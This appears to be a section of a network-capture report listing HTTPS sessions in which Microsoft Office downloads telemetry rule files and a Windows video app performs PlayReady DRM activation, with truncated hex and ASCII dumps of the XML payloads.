T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:48 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:48 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 46349be7-d01e-0017-71d1-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145248Z-1746fd949bdnq7x2hC1EWRpxr0000000043000000000mtx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:48 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49762	13.107.246.63	443	7716	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:49 UTC	200	OUT	GET /PlayReady/ACT/Activation.asmx?WSDL&Client=Win10&LinkId=613387 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-PlayReady-DRM/1.0 Host: activation2.playready.microsoft.com
2024-12-06 14:52:49 UTC	466	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:49 GMT Content-Type: text/xml; charset=utf-8 Content-Length: 6250 Connection: close Cache-Control: private, max-age=0 X-AspNet-Version: 4.0.30319 Request-Context: appId=cid-v1:79cef274-7303-4874-9131-e08bd3e00d78 Access-Control-Expose-Headers: Request-Context X-Powered-By: ASP.NET x-azure-ref: 20241206T145249Z-1746fd949bdlqd7fhC1EWR6vt000000004fg00000000exzg X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-12-06 14:52:49 UTC	6250	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 77 73 64 6c 3a 64 65 66 69 6e 69 74 69 6f 6e 73 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 31 32 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 77 73 64 6c 2f 73 6f 61 70 31 32 2f 22 20 78 6d 6c 6e 73 3a 68 74 74 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 77 73 64 6c 2f 68 74 74 70 2f 22 20 78 6d 6c 6e 73 3a 6d 69 6d 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 77 73 64 6c 2f 6d 69 6d 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><wsdl:definitions xmlns:s="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" xmlns:http="http://schemas.xmlsoap.org/wsdl/http/" xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:49 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:49 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5f5d2afa-901e-0015-66cc-45b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145249Z-1746fd949bdb8xvchC1EWRmbd400000004a000000000bsuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:50 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:50 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:50 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 935017b2-001e-0017-80c6-450c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145250Z-1746fd949bd2cq7chC1EWRnx9g00000004100000000093mk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:50 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:50 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:50 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 0e2e5981-501e-0035-17c1-45c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145250Z-1746fd949bdl6zq5hC1EWRf3ws00000004400000000027p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:50 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:50 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:50 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6baa9d1a-801e-0048-02ce-45f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145250Z-1746fd949bdqpttnhC1EWRe1wg000000041000000000m7we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:50 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:50 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:50 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 715419d5-801e-0078-38c7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145250Z-1746fd949bdlnsqphC1EWRurw0000000042g00000000r1he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:50 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49771	13.107.246.63	443	7716	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Video.UI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:51 UTC	595	OUT	POST /PlayReady/ACT/Activation.asmx HTTP/1.1 Connection: Keep-Alive Content-Type: text/xml; charset=utf-8 Accept: / User-Agent: Microsoft-PlayReady-DRM/1.0 x-playready-info: OSVersion=10.0; ClientDllVersion=Windows.Media.Protection.PlayReady.dll/10.0.19041.2006 (WinBuild.160101.0800); Session=3a41ed4ec4920c9a172a4c61123efcc5; StoreAppID=Microsoft.ZuneVideo_8wekyb3d8bbwe!Microsoft.ZuneVideo; X-XblCorrelationId: 5687312234648670147 SOAPAction: "http://schemas.microsoft.com/PlayReady/ActivationService/v1/Activate" Content-Length: 3580 Host: activation2.playready.microsoft.com
2024-12-06 14:52:51 UTC	3580	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 63 74 69 76 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Activate xmlns="http://schemas.micro
2024-12-06 14:52:52 UTC	350	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:51 GMT Content-Type: text/xml; charset=utf-8 Content-Length: 7264 Connection: close Cache-Control: private, max-age=0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET x-azure-ref: 20241206T145251Z-1746fd949bdmv56chC1EWRypnn00000004f000000000fswc X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-12-06 14:52:52 UTC	7264	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 63 74 69 76 61 74 65 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><ActivateResponse xmlns="http://schem

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:51 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:52 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: c73ff22a-601e-0097-54c1-45f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145252Z-1746fd949bdmv56chC1EWRypnn00000004cg00000000n2x3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:52 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:52 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:52 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9b021dfd-501e-0047-60c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145252Z-1746fd949bdtlp5chC1EWRq1v4000000046000000000nr9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:52 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:52 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: f144d7bf-801e-0035-05bd-46752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145252Z-1746fd949bdfg4slhC1EWR34t0000000045g00000000k9h7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

